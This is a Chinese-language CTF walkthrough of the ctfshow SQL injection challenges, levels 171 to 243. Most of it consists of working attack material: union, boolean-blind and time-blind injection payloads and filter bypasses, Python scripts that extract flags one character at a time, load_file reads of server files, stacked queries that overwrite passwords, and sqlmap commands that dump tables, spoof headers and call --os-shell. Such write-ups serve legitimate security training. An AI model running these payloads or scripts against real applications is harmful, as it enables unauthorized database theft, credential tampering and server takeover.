这里是引用
ctfshow web入门 sql篇
171
很简单直接联合查询
172
和第一题一样的查询语句,不过在显示内容时有过滤 过滤了flag
" ' union select id,if(username='flag','a',username),password from ctfshow_user2 %23
可以在查询时将结果替换 即可
173差不多同上题
也有 like,regexp 正则匹配的方式 比较 内容
174
内容过滤了flag 和数字
直接查我查不出来 flag里肯定会有数字
选择布尔盲注
import requests
url = 'http://b324d53b-6bb7-4b7b-ad89-ca1ed5ce165d.challenge.ctf.show:8080/api/v4.php'
payload = {
"id" : "",
'page':1,
'limit':10
}
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload["id"] = "1\" ' and ascii(substr((select group_concat(password) from ctfshow_user4 where username regexp 'flag'),{},1))>{} #".format(i,mid)
#print(payload["id"])
html = requests.get(url,params = payload)
#print(html.text)
if 'admin' in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)
抓包可以看到 他查询是get方式 在这个php里查询的
175
过滤掉了所有的符号,无论查什么都没有回显了
用时间盲注
import requests
import time
import string
url = "http://e02a1e1a-1d78-43c7-82b5-0e5986568671.challenge.ctf.show:8080/api/v5.php"
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0","Cookie":""}
keylist=[chr(i) for i in range(48,127)]
keylist.insert(0,',')
keylist.insert(0,'-')
string= string.ascii_uppercase+string.ascii_lowercase + string.digits + '_' + '{}';
answer = ''
L=48
for i in range(8,50):
print(i,end=' ')
for c in keylist:
#print(c)
payload = "\" ' or if(ascii(substr((select group_concat(password) from ctfshow_user5 where username regexp 'flag'),{},1))={},sleep(0.15),1)#".format(i,ord(c)) #用substring逐位猜测密码
#print(payload)
formdata = {
"id":payload,
'page':1,
'limit':10
#"Submit":"Submit"
}
stime=time.time()
response = requests.get(url, params = formdata) #本题用的PUT方法传输客户端参数,如果遇到其他题目用POST方法,则改为requests.post
etime=time.time()
#print(response.text)
if etime-stime>2: #猜对了的话返回结果会包含already exists
if c==',':
#print(answer)
answer=''
else:
answer+=c
print(answer)
break
print(answer)
176 存在过滤 不过很简单
177
0’||1=1%23
不能有空格
178 同上
179 同上
180
过滤了空格
不用空格 知道用户名为flag
0'||(username)='flag
181 同上
182
可以直接查 id=’26
不过这样就没意思了
flag被过滤了 可以用password flag头来
'||(password)regexp'ctf
或着不清楚flag头是什么 { 肯定有
'||(password)regexp'{
183
用python发请求,加代理
用burpsuite截获
直接发过去没反应 应该是表不对 ,改成 ctfshow_user 试试
有反应了
只回显数字 盲注
过滤了select 那么可以用regexp 盲注
测试有反应
import requests
import string
url = 'http://2b61b729-8a3b-4629-a050-0bb16a160733.challenge.ctf.show:8080/select-waf.php'
payload = {
"tableName":''
}
keylist=[chr(i) for i in range(48,127)]
keylist.insert(0,',')
keylist.insert(0,'-')
answer = '{'
string= string.ascii_lowercase + string.digits + '_' + '-' +'{}'
print(string)
judge='$user_count = 1;'
for i in range(1,50):
print(i,end=' ')
for c in string:
payload['tableName']="(ctfshow_user)where(pass)regexp('{}')".format(answer+c)
response = requests.post(url, data = payload)
#print(response.text)
if response.text.find(judge) != -1:
answer+=c
print(answer)
break
print(answer)
184
join详解
185
同上一题过滤 + 过滤了数字
用 true 来 代替数字
写个函数 将数字转为 true+true。。。。表示
import requests
import string
def ntotrue(n):# 数字转 true
if n==1:
return 'True'
else:
a='true'
for i in range(n-1):
a+='+true'
return a
url = 'http://c3dc9caf-4a53-4862-8d92-978ec4228e58.challenge.ctf.show:8080/select-waf.php'
payload = {
"tableName":''
}
answer = '{'
string= string.ascii_lowercase + string.digits + '_' + '-' +'{}'
print(string)
judge='$user_count = 22;'
for i in range(8,50):
print(i,end=' ')
for c in string:
a=ntotrue(i)
b=ntotrue(ord(c))
payload['tableName']="ctfshow_user a join ctfshow_user b on (substr(a.pass,{},true) regexp char({}))".format(a,b)#发送比较
response = requests.post(url, data = payload)
#print(response.text)
if response.text.find(judge) != -1:
answer+=c
print(answer)
print(answer)
186 同上即可
187
188 弱类型比较
php 弱类型比较
189
提示flag在 api/index.php 里
直接访问空白
load_file的使用
sql 中 可以用load_file 来读取文件 在用regexp 来匹配出内容
"if((load_file('/var/www/html/api/index.php'))regexp('{}'),1,0)"
这里也用到了 弱类型比较
当我们的username等于0时 会匹配所有内容
import requests
import string
url='http://17dffeab-1e9a-4841-bd24-065ae4f65181.challenge.ctf.show:8080/api/'
payload="if((load_file('/var/www/html/api/index.php'))regexp('{}'),1,0)"
lis=string.ascii_lowercase+'{}-_'+string.digits
print(lis)
ans='ctfshow'
i=1
while True :
f=0
for s in lis:
data={
'username':payload.format(ans+s),
'password':1
}
r=requests.post(url,data=data)
if '\\u5bc6\\u7801\\u9519\\u8bef' not in r.text:
ans+=s
print(i,ans)
i+=1
f=1
if f==0 :
break
190 很常规的布尔注入
191
过滤了一点东西 不过不难
import requests
import string
database = 'select schema_name from information_schema.schemata'
tables = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
column = 'select group_concat(column_name) from information_schema.columns where table_name="ctfshow_fl0g"'
key='select group_concat(f1ag) from ctfshow_fl0g'
url = 'http://37b6f46b-3895-4ae5-b0ad-281138bc9073.challenge.ctf.show:8080/api/'
payload = {
"username" : "",
'password':1
}
s=string.ascii_lowercase+string.digits+'{}-_';
result = ""
i=1
while True:
f=0
for j in s:
payload["username"] = "' or substr(({}),{},1)='{}' #".format(key,i,j)
#print(payload["username"])
html = requests.post(url,data = payload)
#print(html.text)
if '\\u5bc6\\u7801\\u9519\\u8bef' in html.text:
result+=j
print(i,result)
i+=1
f=1
if f==0:
break
print("flag: " ,result)
192
193
194
过滤了一些 不过还是不难
因为用regexp 匹配的关系 所以 匹配的开头一个字母 最好自己猜一下 比如 flag的f ,ctf的c
这样跑出来的内容比较稳
import requests
import string
database = 'select schema_name from information_schema.schemata'
tables = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
column = 'select group_concat(column_name) from information_schema.columns where table_name="ctfshow_flxg"'
key='select group_concat(f1ag) from ctfshow_flxg'
url = 'http://76ceef7d-718b-4d45-8cb1-f175a0db33ee.challenge.ctf.show:8080/api/'
payload = {
"username" : "",
'password':1
}
s=string.ascii_lowercase+string.digits+'{}-_';
result = "ctfshow{"
i=1
while True:
f=0
for j in s:
payload["username"] = "' union select if(({}) regexp '{}',0,1) #".format(key,result+j)
#print(payload["username"])
html = requests.post(url,data = payload)
#print(html.text)
if '\\u5bc6\\u7801\\u9519\\u8bef' in html.text:
result+=j
print(i,result)
i+=1
f=1
if f==0:
break
print("flag:",result)
195 堆叠注入 反引号
过滤了很多
不过关键的update 和 insert 没有过滤
不过这里过滤了 空格 和引号 ,尝试()
发现不行 会报错
这里可以用 `` 反引号 将表名等内容 引住
可以更新 ,会将所有的密码都改为 1 ,之后用 0, 1 登录即可(0:弱类型比较)
也可以插入数据 之后用这个账号密码登录
196 select(1);
197 过滤update
可以用 insert
198 还是可以 insert
199 用alter 更改列名 将id 改为pass 再爆破
1;show table
ctfshow_user
200 同上
201
web201 hao sqlmap
开始sqlmap了
然后还有过滤,
sqlmap的使用教程:
文章1
文章2
使用–user-agent 指定agent
使用–referer 绕过referer检查
我们这里 会判断是否为使用sqlmap来请求 且 referer是否为 ctf.show
–user-agent=AGENT 默认情况下sqlmap的 HTTP请求头中User-Agent值是:
sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org) 可以使用–user-agent参数来修改,
同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入
–referer=REFERER sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入
查数据库
python sqlmap.py -u http://f6c4d031-d3d3-4bfc-840c-268128e7e4b0.challenge.ctf.show:8080/api/?id=1 --referer http://f6c4d031-d3d3-4bfc-840c-268128e7e4b0.challenge.ctf.show:8080/sqlmap.php --user-agent sqlmap --dbs
最后的–dbs 为查询所有数据库名的选项
查表
python sqlmap.py -u http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/api/?id=1 --referer http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/sqlmap.php -D ctfshow_web --tables
-D 指定数据库 --tables 查询该数据库下的所有表
查列名
>python sqlmap.py -u http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/api/?id=1 --referer http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/sqlmap.php -D ctfshow_web -T ctfshow_user --columns
-T 指定表 --columns 查询该表的所有列名
爆字段:
python sqlmap.py -u http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/api/?id=1 --referer http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass --dump
-C 指定列名 --dump 查出该列名的所有信息
202
在网页页面中查询 id 发现没反应,所查询的结果都一样
可以考虑get为假查询
用 post 请求发现可以返回查询信息
注意用 python requests的时候headers 里的 user-agent ,referer要修改
user-agent : sqlmap
referer : ctf.show
那么得知是post请求后 用sqlmap 注入
sqlmap -u http://9cdc728e-4181-41eb-8e30-392ac75afa8e.challenge.ctf.show:8080/api/ --data="id=1" --referer="ctf.show" --dump
用 data 发送数据 post 请求
203
提示改成 method
改为 put
headers 请求头需要加上这个
“Content-Type: text/plain”
sqlmap.py -u "http://0fd2c048-9c6d-4928-baba-7912fafb6410.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --dbms=mysql -D ctfshow_web -T ctfshow_user -C pass --dump
而且这里必须指定 index.php
204
这里是cookie 注入
可以加上 cookie 参数注入
也可以 直接像上面一样注入
它会自己检测到有返回cookie 并询问你是否检查 cookie 注入
205
发现很多博客写的都挺详细的 常规的注入就不写了
ctfshow_sql
我对于一些网上没有讲的详细一些的注入题目,补充一下
213
练习使用–os-shell 一键getshell
224
sql_文件上传产生sql注入
225
堆叠注入
这里要注意一下 要在burpsuite看返回的报文内容,直接看前端的返回是看不到内容的
猜测代码应该是对字段名进行了选择,只显示字段名为这三个的内容
如果字段名是其他 ,那前端不会显示内容
235-236
ctfshow sql235
243 sql 文件outfile后 的注入
注意这个环境可能对于文件没有覆盖的权限吧,还是什么原因,导致文件一写入,之后同一个文件名,就写入不了了,也就是无法覆盖重写原来的文件
那么就要我们一次写对内容
不然就要重开环境